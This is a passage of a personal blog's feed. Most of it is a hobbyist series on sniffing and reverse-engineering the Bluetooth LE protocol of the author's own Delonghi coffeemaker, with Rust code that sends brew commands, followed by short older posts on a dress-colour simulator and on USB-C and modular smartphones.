        ╰---------------------------------------- Coffee: 20&lt;=65&lt;=180
&gt; 18·01·01·01•19·01·01·01•0c·00·00·00•1c·00·02·00•
  -----+----- -----+----- -----+----- -----+-----  
       |           |           |           ╰------- Accessorio: 0&lt;=2&lt;=0
       |           |           |                   
       |           |           ╰------------------- Inversion: 0&lt;=0&lt;=0
       |           |                               
       |           ╰------------------------------- Visible: 1&lt;=1&lt;=1
       |                                           
       ╰------------------------------------------- Programmable: 1&lt;=1&lt;=1
&gt; 1b·00·04·04
  -----+-----  
       ╰------- IndexLength: 0&lt;=4&lt;=4
</code></pre></div></div>

<p>From reading the application source, these packets seem to represent the current settings for the beverage, and the minimum and maximum ranges for each of the parameters. We can also start to guess at what the lengths of each of the ingredients’ parameter values are: most are a single byte, but a handful seem to be reliably two bytes wide and they all seem to deal with liquids.</p>

<p>Let’s confirm our intuition here by looking at the recipes for a latte and hot water:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Latte recipe:

01·003c•09·01f4•02·03•0c·00•1b·04•19·01•1c·02
---+--- ---+--- --+-- --+-- --+-- --+-- --+--  
   |       |      |     |     |     |     ╰---- Accessorio=2
   |       |      |     |     |     |          
   |       |      |     |     |     ╰---------- Visible=1
   |       |      |     |     |                
   |       |      |     |     ╰---------------- IndexLength=4
   |       |      |     |                      
   |       |      |     ╰---------------------- Inversion=0
   |       |      |                            
   |       |      ╰---------------------------- Taste=3
   |       |                                   
   |       ╰----------------------------------- Milk=500
   |                                           
   ╰------------------------------------------- Coffee=60

Hot water recipe:

0f·00fa•19·01•1c·01
---+--- --+-- --+--  
   |      |     ╰---- Accessorio=1
   |      |          
   |      ╰---------- Visible=1
   |                 
   ╰----------------- HotWater=250
</code></pre></div></div>

<p>We can see that the pattern continues here: liquid amounts are two bytes long, while everything else is a single byte.</p>

<p>If you’re curious about every recipe this machine can make, <a href="https://gist.github.com/mmastrac/67b821666bdae50af4691b744432f801">a gist is available with a dump of the recipes</a>.</p>

<p>We can now put all the pieces together and build our own brewing command with a recipe that we’re going to write from scratch: a large cappuccino!</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>83 f0 07 01 01 00 78 09 01 77 02 04 02
^  ^  ^  ^  ^  ^  ^  ^  ^  ^  ^  ^  ^- Preparation mode = PREPARE
|  |  |  |  |  |  |  |  |  |  +--+---- Taste (02) = strong (value 4)
|  |  |  |  |  |  |  +--+--+---------- Milk (09) = 375
|  |  |  |  +--+--+------------------- Coffee (01) = 120
|  |  |  +---------------------------- Trigger=START
|  |  +------------------------------- Beverage=Cappuccino (value 7)
|  +---------------------------------- Always 0xf0
+------------------------------------- Beverage dispense request   
</code></pre></div></div>

<p>Let’s send that to the machine and see what happens:</p>

<p><a class="image standard" href="https://grack.com/assets/2022/12/part-2-cappuccino-custom.jpg"><img src="https://grack.com/_thumbs/4f3c821357e6d8864ea5b844f141f48f-600-600"></a></p>

<p>Success! We have the most complicated and important part of communication with a coffeemaker working: brewing the coffee.</p>

<p>There’s a bit of work required to turn this into a full application, but you can find that pre-written in my <a href="https://github.com/mmastrac/longshot">longshot project on GitHub</a>. You don’t need to have this coffeemaker, as it includes a simulator mode that will allow you to brew a virtual coffee and test out the packet parsing and generation code.</p>

<p><video src="https://grack.com/assets/2022/12/part-2-coffee.mp4" autoplay="" controls=""></video></p>

<p><a href="https://grack.com/blog/2022/12/04/hacking-bluetooth-to-brew-coffee-on-github-actions-part-3/"><em>Continue reading…</em></a> In <a href="https://grack.com/blog/2022/12/04/hacking-bluetooth-to-brew-coffee-on-github-actions-part-3/">part three</a> of the series we’ll hook this up to GitHub Actions so that we can automate coffee brewing from the browser!</p>

<h2 id="further-reading-for-this-post">Further reading for this post</h2>

<ul>
  <li><a href="https://gist.github.com/mmastrac/67b821666bdae50af4691b744432f801">Dump of all recipes available on the Delonghi Dinamica Plus</a></li>
  <li><a href="https://www.rapid7.com/blog/post/2019/04/30/extracting-firmware-from-microcontrollers-onboard-flash-memory-part-3-microchip-pic-microcontrollers/">Extracting Firmware from Microcontrollers’ Onboard Flash Memory, Part 3: Microchip PIC Microcontrollers</a></li>
  <li><a href="https://braincoke.fr/blog/2021/03/android-reverse-engineering-for-beginners-decompiling-and-patching/">Android reverse engineering for beginners - Decompiling and patching</a></li>
  <li><a href="https://reverseengineering.stackexchange.com/questions/1523/what-techniques-are-used-in-reverse-engineering-a-serial-protocol">What techniques are used in reverse engineering a serial protocol?</a></li>
</ul>

<p><strong><em><a href="https://hachyderm.io/@mmastrac">Follow me on Mastadon</a> for more updates on this adventure!</em></strong></p>
]]></content>
	</entry>
	
	
	
	<entry>
		<title type="html"><![CDATA[Hacking Bluetooth to Brew Coffee from GitHub Actions: Part 1 - Bluetooth Investigation]]></title>
		<link href="https://grack.com/blog/2022/12/01/hacking-bluetooth-to-brew-coffee-on-github-actions-part-1/"/>
		<updated>2022-12-01T00:00:00+00:00</updated>
		<id>https://grack.com/blog/2022/12/01/hacking-bluetooth-to-brew-coffee-on-github-actions-part-1</id>
		<content type="html"><![CDATA[<p>This is going to be a long journey in three parts that covers the odyssey of getting a new coffeemaker, learning BTLE and how it works, reverse-engineering the Bluetooth interface and Android applications for the coffeemaker, writing a <a href="https://github.com/mmastrac/longshot">Rust-based CLI interface</a>, and finally, hooking it all up to a GitHub actions bot that lets you <a href="https://github.com/mmastrac/brew-a-coffee-demo/">brew a coffee just by filing an issue</a>!</p>

<ul>
  <li>
<a href="https://grack.com/blog/2022/12/01/hacking-bluetooth-to-brew-coffee-on-github-actions-part-1/">Part 1: Bluetooth Investigation</a>
    <ul>
      <li><a href="#introduction">Introduction</a></li>
      <li><a href="#btle-background-and-traffic-sniffing">BTLE Background and Traffic Sniffing</a></li>
      <li><a href="#communicating-in-rust">Communicating in Rust</a></li>
      <li><a href="#further-reading-for-this-post">Further Reading</a></li>
    </ul>
  </li>
  <li><a href="https://grack.com/blog/2022/12/02/hacking-bluetooth-to-brew-coffee-on-github-actions-part-2/">Part 2: Reverse Engineering</a></li>
  <li><a href="https://grack.com/blog/2022/12/04/hacking-bluetooth-to-brew-coffee-on-github-actions-part-3/">Part 3: GitHub Actions</a></li>
</ul>

<h2 id="introduction">Introduction</h2>

<p>I’ve always been pretty content with using whatever coffeemaker I had nearby. For the last two or three years I’ve been using an old 2-in-1 Breville YouBrew coffeemaker, with a grinder built-in. It was a workhorse and worked perfectly until this September. A few months ago the machine asked me to run the regular descaling process to deal with our hard water, and this is where our adventure starts.</p>

<p><a class="image standard" href="https://grack.com/assets/2022/12/part-1-breville-youbrew.jpeg"><img src="https://grack.com/_thumbs/4a82416de73814f8d343d0ab4d397972-600-600"></a></p>

<p>For those of you without <a href="https://en.wikipedia.org/wiki/Hard_water">hard water</a>, our water in Canada like that of Italy, tends to be hard due to the type of rocks that water passes through on the way into our water supply. Over time, the hard water minerals precipitate out and stick to the metallic pipes and heaters within the machine, causing the temperature of the brewing water to drop, and other quality problems. <a href="https://www.kitchenaid.com/pinch-of-help/countertop-appliances/how-to-clean-and-descale-a-coffee-maker.html">Regular descaling</a> is recommended, and some modern machines feature special descaling modes and chemicals that make this easier to do.</p>

<p><a class="image standard" href="https://grack.com/assets/2022/12/part-1-Map-of-water-hardness-of-Italian-tap-water-Classification-is-presented-in-the-legend.png"><img src="https://grack.com/_thumbs/98e913b28125fe4942e3228112d7f8e0-600-600"></a></p>

<p>Figure: <a href="https://www.researchgate.net/publication/231520556_Major_and_Trace_Elements_in_Tap_Water_from_Italy">Major and Trace Elements in Tap Water from Italy</a> January 2012 <em>Journal of Geochemical Exploration 112:54-75</em> DOI:10.1016/j.gexplo.2011.07.009</p>

<p>To descale a machine, you generally use a weak acid like vinegar, or a more complex <a href="https://en.wikipedia.org/wiki/Descaling_agent">descaling agent</a> to dissolve the precipitate as salts so they can be flushed out. Unfortunately, the last time I ran the descaling process on this coffeemaker the acid I was using seems to have degraded one of the internal seals and the machine began to leak significantly.</p>

<p><a class="image standard" href="https://grack.com/assets/2022/12/part-1-leak.jpeg"><img src="https://grack.com/_thumbs/ce427f35ee225fa9fe53fc87f3f8b683-600-600"></a></p>

<p>Faced with the prospect of opening it up and actually figuring out what part was leaking, I was finally convinced that given the amount of coffee we drink, it was time for us to invest in a more modern and little more upscale coffeemaker.</p>

<p>Fortunately a few months earlier over the same Spring, my partner had been TA’ing a course at a building in a nearby hospital over the summer and came home raving about a machine they had, that let her brew coffee from an application: the Delonghi Dinamica Plus. We talked about how cool it was to brew from an app and how it could make so many different drinks, but we both forgot about it for a few months until our the old machine failed.</p>

<p><a class="image standard" href="https://grack.com/assets/2022/12/part-1-dinamica-plus.jpeg"><img src="https://grack.com/_thumbs/975f1818500fa3237611133c592a1384-600-600"></a></p>

<p>Our coffee situation was pretty dire and we decided to pull the trigger on a Delonghi Dinamica Plus, despite the eye-watering price. We waited anxiously for a week, keeping the old coffeemaker in service by putting it inside a tray to catch the leaks.</p>

<p>When the new coffeemaker arrived we set it up and – to avoid a major digression – the coffee it made was excellent. Tasty espresso, perfect americano, creamy cappuccino. There was one major problem: the application you’re supposed to use for the coffeemaker doesn’t reliably connect and stay connected to the machine.</p>

<p>The <a href="https://www.delonghi.com/en-ca/dinamica-plus-smart-coffee-and-espresso-machine-with-coffee-link-connectivity-app-plus-automatic-milk-frother-titanium-ecam37095ti/p/ECAM37095TI">Dinamica Plus</a> is about $100 more than the <a href="https://www.delonghi.com/en-ca/dinamica-with-lattecrema-automatic-coffee-and-espresso-machine-with-iced-coffee-plus-automatic-milk-frother-silver-ecam35075si/p/ECAM35075SI">Dinamica</a>, and this cost is effectively for the privilege of brewing coffee from your phone (along with some other goodies, like defining your favourite or custom drinks from the couch). The application is difficult to use and a bit buggy, however. It will often fail to find the coffeemaker. Once you’ve connected, there’s no guarantee that it’ll allow you to connect again without wiping all the saved data from the application. It’s also integrated with some sort of online service that returns a 404.</p>

<p><a class="image standard" href="https://grack.com/assets/2022/12/part-1-coffee-lounge-404.png"><img src="https://grack.com/_thumbs/264c3ee556c10dbb41229978cade1e7a-600-600"></a></p>

<p>I found myself at a crossroads here: Do I accept that the extra features that I paid for will go to waste, or do I dig in and see if there’s some way I can get this feature to work in a way that I can actually use it. There’s a lot you can learn by being forced to dig into something new, and it looked like this might be an opportunity to understand a bit more about Bluetooth. So, as you can probably guess from the remaining length on this topic, I took the latter path.</p>

<h2 id="btle-background-and-traffic-sniffing">BTLE Background and Traffic Sniffing</h2>

<p>The first question we need to answer is how we’re going to talk to this thing. We know it’s Bluetooth from the application’s insistence that Bluetooth be turned on. But it’s not showing up on my MacBook’s Bluetooth devices list, which means it’s somehow different than the common Bluetooth “Classic” audio and phone devices that show up there.</p>

<p>There may be other reasons why the coffeemaker doesn’t show up in a list of Bluetooth devices on a laptop, but the most likely candidate for something that isn’t Bluetooth Classic like those devices is <a href="https://learn.adafruit.com/introduction-to-bluetooth-low-energy">Bluetooth Low-Energy</a>, or more commonly known as BTLE.</p>

<p>One of BTLE’s major fame was its use in <a href="https://en.wikipedia.org/wiki/IBeacon">iBeacon</a> for the Apple ecosystem: a way of transmitting that a physical location was “interesting” in some way to some set of applications. This is done by <a href="https://os.mbed.com/blog/entry/BLE-Beacons-URIBeacon-AltBeacons-iBeacon/">“advertising”</a> Apple’s Bluetooth SIG identifier, along with an ID that specifies you’re talking iBeacon language, and some metadata allowing you to identify two 16-bit numbers of data along with that.</p>

<p>BTLE devices are often hidden from general device users, and you access them through specific programs and applications. For example, if you’re looking to rent a scooter, the app might communicate directly with the scooter over BTLE to unlock it for use directly from the phone – no cellular radio required!</p>

<p>We can scan for BTLE devices using an app like <a href="https://play.google.com/store/apps/details?id=no.nordicsemi.android.mcp">nRF Connect</a> that will show us all the nearby devices to our mobile phone. In the screenshot below you’ll see everything that speaks BTLE that my phone can see:</p>

<p><a class="image standard" href="https://grack.com/assets/2022/12/part-1-nRF-screenshot.png"><img src="https://grack.com/_thumbs/16a8fb83efb3c3fb814fcd3ab618fd67-600-600"></a></p>

<p>There’s no obvious coffeemaker here but we can start to make some educated guesses by using signal strength. We’ll walk from the couch to the coffeemaker and see that one of our BTLE devices shows an increasing signal level.</p>

<p>We can confirm that this is the right device by forcing a connection to it and seeing the same Bluetooth icon appear on the screen that also appears when the application connects.</p>

<p><a class="image standard" href="https://grack.com/assets/2022/12/part-1-connect.png"><img src="https://grack.com/_thumbs/ef2cb939ad760dbfde1b050c2b807934-600-600"></a></p>

<p>Aha! So now we’ve proved this coffeemaker is communicating over BTLE. But let’s digress and dig into what BTLE actually is, so we can figure out how to talk to it.</p>

<p>At a high level, BTLE works around the concept of a <em>Service</em> and a <em>Characteristic</em>, both identified by UUIDs. A <em>Service</em> is a container for <em>Characteristic</em>s and, at a high level, two services on two different devices sharing the same UUID will generally implement the same “protocol”. BTLE stacks on devices will generally allow you to scan for announcements of devices advertising a <em>Service</em> UUID you are interested in, allowing you to take inventory of supported devices relatively easily.</p>

<p>The <em>Characteristic</em> is an endpoint on the <em>Service</em> and has some directionality information embedded within it. A <em>Characteristic</em> at a high level provides <code class="language-text highlighter-rouge">READ</code> and/or <code class="language-text highlighter-rouge">WRITE</code> operations to communicate with the device, but also which of the devices in the connection can be the origin of this data (ie: does the device broadcast packets? will it send them unannounced? does the device only communicate if you send it something first?). <a href="https://devzone.nordicsemi.com/guides/short-range-guides/b/bluetooth-low-energy/posts/ble-characteristics-a-beginners-tutorial">Table 2 in this tutorial</a> lists the options if you’re interested in more detail.</p>

<p>We’ve learned some important information along the way. From our scan earlier, we know the two bits we need to communicate with the device, ie: the <em>Service</em> UUID is <code class="language-text highlighter-rouge">00035b03-58e6-07dd-021a-08123a000300</code> and the <em>Characteristic</em> UUID is <code class="language-text highlighter-rouge">00035b03-58e6-07dd-021a-08123a000301</code>.</p>

<p>What we need now is something to send to it. I’m not brave enough to brute force packets for an expensive coffeemaker, so let’s try to capture some real communication between the application and the device.</p>

<p>Android has something called the Bluetooth HCI snoop log that, as you can imagine, allows you to snoop on Bluetooth communication. HCI stands for “host-controller interface”, and we’ll use the snooper to log interaction between the phone and the coffeemaker. The process of enabling and retrieving HCI logs <a href="https://stackoverflow.com/questions/28445552/bluetooth-hci-snoop-log-not-generated">varies</a> <a href="https://medium.com/@charlie.d.anderson/how-to-get-the-bluetooth-host-controller-interface-logs-from-a-modern-android-phone-d23bde00b9fa">wildly</a> between device models, so your mileage may vary.</p>

<p>We can tap the button in the app to brew a cappuccino and, from the logs, see what the application sends to the machine. We don’t have any context as to what these packets are, but we know that sending this will brew a cappuccino with the default parameters (which according to the application is 65ml of coffee, 19 seconds of milk, and “medium” aroma):</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Brew a cappuccino:
0d 14 83 f0 07 01 01 00 41 09 00 be 02 03 0c 00 1c 02 06 dc

Device sends back:
d0 07 83 f0 01 00 64 d9

Cancel brewing:
0d 08 83 f0 07 02 06 2f 41

Device sends back:
d0 07 83 f0 01 00 64 d9
</code></pre></div></div>

<h2 id="communicating-in-rust">Communicating in Rust</h2>

<p>Now we’re going to need to talk to the coffeemaker ourselves. Each platform has its own libraries for talking to Bluetooth devices (CoreBluetooth on OSX, bluez-over-DBUS for Linux, etc.) Because of the complexity of dealing with cross-platform Bluetooth, most platforms like node.js, Rust, and Python, provide libraries that abstract this away.</p>

<p>My first attempts to talk to the coffeemaker were using node.js. I tried <a href="https://github.com/noble/noble">noble</a>, and <a href="https://github.com/noble/bleno">bleno</a>, but neither appeared to work for me on my Mac. I’ve been wanting to get my Rust skills back into shape, so I decided to explore the <a href="https://github.com/deviceplug/btleplug">btleplug</a> library which is being actively maintained on all modern platforms.</p>

<p>To connect to the device we’re interested in, first we need to start a scan to find devices that are advertising the <em>Service</em> and <em>Characteristic</em> we are interested in. The following code fragment will ask <code class="language-text highlighter-rouge">btleplug</code> to scan for peripherals on every adapter connected to the system.</p>

<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">async</span> <span class="k">fn</span> <span class="nf">main</span><span class="p">()</span> <span class="k">-&gt;</span> <span class="nb">Result</span><span class="o">&lt;</span><span class="p">(),</span> <span class="nb">Box</span><span class="o">&lt;</span><span class="k">dyn</span> <span class="nn">std</span><span class="p">::</span><span class="nn">error</span><span class="p">::</span><span class="n">Error</span><span class="o">&gt;&gt;</span> <span class="p">{</span>
    <span class="k">let</span> <span class="n">manager</span> <span class="o">=</span> <span class="nn">Manager</span><span class="p">::</span><span class="nf">new</span><span class="p">()</span><span class="k">.await</span><span class="o">?</span><span class="p">;</span>
    <span class="k">let</span> <span class="n">filter</span> <span class="o">=</span> <span class="n">ScanFilter</span> <span class="p">{</span>
        <span class="n">services</span><span class="p">:</span> <span class="nd">vec!</span><span class="p">[</span><span class="n">SERVICE_UUID</span><span class="p">],</span>
    <span class="p">};</span>

    <span class="nd">eprintln!</span><span class="p">(</span><span class="s">"Looking for coffeemakers..."</span><span class="p">);</span>
    <span class="k">for</span> <span class="n">adapter</span> <span class="k">in</span> <span class="n">manager</span><span class="nf">.adapters</span><span class="p">()</span><span class="k">.await</span><span class="o">?</span> <span class="p">{</span>
        <span class="n">adapter</span><span class="nf">.start_scan</span><span class="p">(</span><span class="n">filter</span><span class="nf">.clone</span><span class="p">())</span><span class="k">.await</span><span class="o">?</span><span class="p">;</span>
        <span class="nn">tokio</span><span class="p">::</span><span class="nn">time</span><span class="p">::</span><span class="nf">sleep</span><span class="p">(</span><span class="nn">Duration</span><span class="p">::</span><span class="nf">from_secs</span><span class="p">(</span><span class="mi">10</span><span class="p">))</span><span class="k">.await</span><span class="p">;</span>
        <span class="k">for</span> <span class="n">peripheral</span> <span class="k">in</span> <span class="n">adapter</span><span class="nf">.peripherals</span><span class="p">()</span><span class="k">.await</span><span class="o">?</span> <span class="p">{</span>
            <span class="nd">eprintln!</span><span class="p">(</span><span class="s">"Found peripheral"</span><span class="p">);</span>
            <span class="n">peripheral</span><span class="nf">.connect</span><span class="p">()</span><span class="k">.await</span><span class="o">?</span><span class="p">;</span>
            <span class="n">peripheral</span><span class="nf">.discover_services</span><span class="p">()</span><span class="k">.await</span><span class="o">?</span><span class="p">;</span>
            <span class="k">for</span> <span class="n">service</span> <span class="k">in</span> <span class="n">peripheral</span><span class="nf">.services</span><span class="p">()</span> <span class="p">{</span>
                <span class="k">for</span> <span class="n">characteristic</span> <span class="k">in</span> <span class="n">service</span><span class="py">.characteristics</span> <span class="p">{</span>
                    <span class="k">if</span> <span class="n">service</span><span class="py">.uuid</span> <span class="o">==</span> <span class="n">SERVICE_UUID</span> <span class="o">&amp;&amp;</span> <span class="n">characteristic</span><span class="py">.uuid</span> <span class="o">==</span> <span class="n">CHARACTERISTIC_UUID</span> <span class="p">{</span>
                        <span class="nf">run_with_peripheral</span><span class="p">(</span><span class="n">peripheral</span><span class="nf">.clone</span><span class="p">(),</span> <span class="n">characteristic</span><span class="p">)</span><span class="k">.await</span><span class="o">?</span><span class="p">;</span>
                    <span class="p">}</span>
                <span class="p">}</span>
            <span class="p">}</span>
        <span class="p">}</span>
    <span class="p">}</span>

    <span class="nf">Ok</span><span class="p">(())</span>
<span class="p">}</span>

<span class="k">async</span> <span class="k">fn</span> <span class="nf">run_with_peripheral</span><span class="p">(</span>
    <span class="n">peripheral</span><span class="p">:</span> <span class="n">Peripheral</span><span class="p">,</span>
    <span class="n">characteristic</span><span class="p">:</span> <span class="n">Characteristic</span><span class="p">,</span>
<span class="p">)</span> <span class="k">-&gt;</span> <span class="nb">Result</span><span class="o">&lt;</span><span class="p">(),</span> <span class="nb">Box</span><span class="o">&lt;</span><span class="k">dyn</span> <span class="nn">std</span><span class="p">::</span><span class="nn">error</span><span class="p">::</span><span class="n">Error</span><span class="o">&gt;&gt;</span> <span class="p">{</span>
    <span class="nd">eprintln!</span><span class="p">(</span><span class="s">"{:?}"</span><span class="p">,</span> <span class="n">characteristic</span><span class="p">);</span>
    <span class="nf">Ok</span><span class="p">(())</span>
<span class="p">}</span>
</code></pre></div></div>

<p>If we run this code it, prints:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Looking for coffeemakers...
Found peripheral
Characteristic { uuid: 00035b03-58e6-07dd-021a-08123a000301, service_uuid: 00035b03-58e6-07dd-021a-08123a000300, properties: READ | WRITE | INDICATE }
</code></pre></div></div>

<p>Looks good! We found the coffeemaker. And now we can try to send a raw packet to it that we had captured earlier that we believed was sent to brew cappuccino. Let’s change <code class="language-text highlighter-rouge">run_with_peripheral</code> to this:</p>

<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">async</span> <span class="k">fn</span> <span class="nf">run_with_peripheral</span><span class="p">(</span><span class="n">peripheral</span><span class="p">:</span> <span class="n">Peripheral</span><span class="p">,</span> <span class="n">characteristic</span><span class="p">:</span> <span class="n">Characteristic</span><span class="p">)</span> <span class="k">-&gt;</span> <span class="nb">Result</span><span class="o">&lt;</span><span class="p">(),</span> <span class="nb">Box</span><span class="o">&lt;</span><span class="k">dyn</span> <span class="nn">std</span><span class="p">::</span><span class="nn">error</span><span class="p">::</span><span class="n">Error</span><span class="o">&gt;&gt;</span> <span class="p">{</span>
    <span class="k">let</span> <span class="n">data</span> <span class="o">=</span> <span class="o">&amp;</span><span class="p">[</span><span class="mi">0x0d</span><span class="p">,</span><span class="mi">0x14</span><span class="p">,</span><span class="mi">0x83</span><span class="p">,</span><span class="mi">0xf0</span><span class="p">,</span><span class="mi">0x07</span><span class="p">,</span><span class="mi">0x01</span><span class="p">,</span><span class="mi">0x01</span><span class="p">,</span><span class="mi">0x00</span><span class="p">,</span>
        <span class="mi">0x41</span><span class="p">,</span><span class="mi">0x09</span><span class="p">,</span><span class="mi">0x00</span><span class="p">,</span><span class="mi">0xbe</span><span class="p">,</span><span class="mi">0x02</span><span class="p">,</span><span class="mi">0x03</span><span class="p">,</span><span class="mi">0x0c</span><span class="p">,</span><span class="mi">0x00</span><span class="p">,</span><span class="mi">0x1c</span><span class="p">,</span><span class="mi">0x02</span><span class="p">,</span><span class="mi">0x06</span><span class="p">,</span><span class="mi">0xdc</span><span class="p">];</span> 
    <span class="n">peripheral</span><span class="nf">.write</span><span class="p">(</span><span class="o">&amp;</span><span class="n">characteristic</span><span class="p">,</span> <span class="n">data</span><span class="p">,</span> <span class="nn">btleplug</span><span class="p">::</span><span class="nn">api</span><span class="p">::</span><span class="nn">WriteType</span><span class="p">::</span><span class="n">WithoutResponse</span><span class="p">);</span>
    <span class="nf">Ok</span><span class="p">(())</span>
<span class="p">}</span>
</code></pre></div></div>

<p>And hey, that started brewing a cappuccino!</p>

<p><a class="image standard" href="https://grack.com/assets/2022/12/part-1-cappuccino.jpeg"><img src="https://grack.com/_thumbs/2746316ea8cc72d2ef1723f34fa3ccb4-600-600"></a></p>

<p>Let’s take stock of where we are:</p>

<ul>
  <li>We know how to communicate with the device</li>
  <li>We know the UUIDs of the endpoint that we’re going to communicate with</li>
  <li>We can write a packet to the device and see that it performs an action</li>
</ul>

<p>This might be enough to stop here. We could trace all the packets to brew all the coffee recipes we want, but that doesn’t seem like a complete solution.</p>

<p><a href="https://grack.com/blog/2022/12/02/hacking-bluetooth-to-brew-coffee-on-github-actions-part-2/"><em>Continue reading…</em></a> In <a href="https://grack.com/blog/2022/12/02/hacking-bluetooth-to-brew-coffee-on-github-actions-part-2/">part two</a> of the series we’ll reverse engineer the protocol itself!</p>

<h2 id="further-reading-for-this-post">Further reading for this post</h2>

<ul>
  <li><a href="https://learn.adafruit.com/introduction-to-bluetooth-low-energy">Adafruit: Introduction to Bluetooth Low-Energy</a></li>
  <li><a href="https://os.mbed.com/blog/entry/BLE-Beacons-URIBeacon-AltBeacons-iBeacon/">Understanding the different types of BLE Beacons</a></li>
  <li><a href="https://devzone.nordicsemi.com/guides/short-range-guides/b/bluetooth-low-energy/posts/ble-characteristics-a-beginners-tutorial">BTLE Characteristics, a beginner’s tutorial</a></li>
  <li><a href="https://medium.com/@charlie.d.anderson/how-to-get-the-bluetooth-host-controller-interface-logs-from-a-modern-android-phone-d23bde00b9fa">How to get BT Host Controller Interface logs from a modern Android phone</a></li>
</ul>

<p><strong><em><a href="https://hachyderm.io/@mmastrac">Follow me on Mastadon</a> for more updates on this adventure!</em></strong></p>
]]></content>
	</entry>
	
	
	
	<entry>
		<title type="html"><![CDATA[Opinionated Dress Color Simulator]]></title>
		<link href="https://grack.com/blog/2015/03/01/opinionated-dress-color-simulator/"/>
		<updated>2015-03-01T00:00:00+00:00</updated>
		<id>https://grack.com/blog/2015/03/01/opinionated-dress-color-simulator</id>
		<content type="html"><![CDATA[<p>Given the all the fuss over the <a href="http://www.buzzfeed.com/catesish/help-am-i-going-insane-its-definitely-blue">blue/black or white/gold dress</a> this week, I whipped up a <a href="https://grack.com/demos/dress">quick simulation</a> that allows you to view the dress under different lighting conditions.</p>

<p><a class="image standard" href="https://grack.com/assets/2015/03/dress-screenshot.png"><img src="https://grack.com/_thumbs/aa556c2471d02a66eedf1850c386f867-600-600"></a></p>

<p>Slide the control from side-to-side to fade between the three images: a “blue/black” version where we subtract out the theoretical color of the light (#524922), the original picture, and a “white/gold” version where we add color to compensate for the perceived shadow (#392c00).</p>

<p><a href="http://qz.com">qz.com</a> picked this up and <a href="http://qz.com/352594/use-this-slider-to-see-the-dress-change-colors-before-your-very-eyes/">created their own version as well</a>.</p>

<p>Grab the source <a href="https://github.com/mmastrac/dress-simulator">from GitHub</a>.</p>
]]></content>
	</entry>
	
	
	
	<entry>
		<title type="html"><![CDATA[USB-C and Modular Smartphones Are the End-Game for Convergence]]></title>
		<link href="https://grack.com/blog/2015/01/16/usb-31-ara-are-the-convergence-end-game/"/>
		<updated>2015-01-16T00:00:00+00:00</updated>
		<id>https://grack.com/blog/2015/01/16/usb-31-ara-are-the-convergence-end-game</id>
		<content type="html"><![CDATA[<p>Two new technologies – the modular smartphone and USB 3.1 – are set to radically accelerate the convergence of everything to a single, in-pocket device. In fact, they are so revolutionary that they will change the entire way we think about mobile computing <a href="http://ben-evans.com/benedictevans/2015/1/11/resetting-the-score">as the iPhone did</a> earlier this millennium.</p>

<h1 id="modules-will-eat-custom-hardware">Modules will eat custom hardware</h1>

<p>Modular smartphones, the first of which being <a href="http://www.projectara.com/">Project Ara</a>, will <a href="http://www.engadget.com/2015/01/14/project-ara-spiral-3/?ncid=rss_truncated">shift the way we buy devices</a> while opening up new markets.</p>

<iframe width="560" height="315" src="//www.youtube.com/embed/intua_p4kE0" frameborder="0" allowfullscreen=""></iframe>

<p>The backbone of Project Ara is <a href="http://en.wikipedia.org/wiki/UniPro">UniPro</a> – a standard for communication not unlike Intel’s Thunderbolt – with <a href="http://www.arrowdevices.com/blog/mipi-unipro-through-eyes-of-pci-express/">significant bandwidth</a>, enough to push 4k video uncompressed between them. Modules are built on top of this high-speed network.</p>

<p><a class="image floatright" href="https://grack.com/assets/2015/01/ara/lytro.jpg"><img src="https://grack.com/_thumbs/7a7e68dd61e821ef6f70065ba82f4d2e-600-600" align="right" width="200"></a>The current pipeline for a “revolutionary” add-on in the mobile space has many gatekeepers. When FLIR wanted to launch a smartphone IR camera, they needed to <a href="http://www.flir.com/flirone/explore.cfm">build an entire phone backpack</a> around it.</p>

<p>Another company, Lytro, has no smartphone equivalent to their light-field camera. Instead, you need to buy an entire <a href="http://amzn.to/1B2Dlr5">custom camera</a> or <a href="https://store.lytro.com/products/lytro-illum">point-and-shoot</a> system which significantly adds to the cost of the system, and requires the end-user to commit to carrying a full, purpose-built device.</p>

<p><a class="image floatleft" href="https://grack.com/assets/2015/01/ara/spike.jpg"><img src="https://grack.com/_thumbs/f680429cd73909db40623db22219098b-600-600" align="left" width="200"></a>The same story is playing out in the construction space. <a href="https://www.kickstarter.com/projects/ikegps/spike-laser-accurate-measurement-and-modelling-on">Laser</a> <a href="http://gizmodo.com/this-laser-smartphone-add-on-accurately-measures-everyt-1489061539">measuring</a> tools are following in the same backpack space. Unsurprisingly, the same pattern of building significant packaging around simple components has played out for <a href="https://www.ryobitools.com/phoneworks/">construction tools</a>, <a href="http://www.mophie.com/shop/iphone-5">battery cases</a>, <a href="http://amzn.to/1xZVS50">high-end cameras</a>, and <a href="http://www.bbc.com/news/technology-25663424">Tazers</a> as well.</p>

<p>The obvious advantage to an Ara-like device is that manufacturers can bring a module to market without the traditional risk-averse gatekeepers in the manufacturer (Samsung, LG, etc.) and carriers (AT&amp;T, Verizon, etc.). If the manufacturers decide that this custom module isn’t a fit for their mass-market devices, they’ll pass.</p>

<p>Rather than Lytro or a small Kickstarter team convincing one of the big names to include their custom module at significant risk to both parties, the team can produce the module themselves and directly market to end-users without the overhead of developing a bulky backpack add-on.</p>

<p><a class="image standard" href="https://grack.com/assets/2015/01/ara/tazer.png"><img src="https://grack.com/_thumbs/ee9f570a0096f95ce717f03402d2db7d-600-600"></a><a class="image standard" href="https://grack.com/assets/2015/01/ara/ryobi.jpg"><img src="https://grack.com/_thumbs/11f1065abc886b5f1620d02459eb61c2-600-600"></a></p>

<p>By subverting the manufacturer channels, this significantly de-risks the process of bringing new concepts to market and will open up a flood of novel ideas.</p>

<p>Module development provides another channel for manufacturers to rely on the smartphone to be the “brains” of their devices. Making a custom device OS and shell will no longer make sense for companies like FLIR and Fluke when building IR cameras and <a href="http://en.wikipedia.org/wiki/Borescope">borescopes</a> for a large part of their product line – at least the products that can be used outside of emergency situations. While this is possible now through Bluetooth or audio jack hacks like <a href="https://www.ryobitools.com/phoneworks/">Ryobi’s phoneworks</a>, making a module will make more sense.</p>

<h1 id="usbs-type-c-one-cable-to-rule-them-all">USB’s type-C: one cable to rule them all</h1>

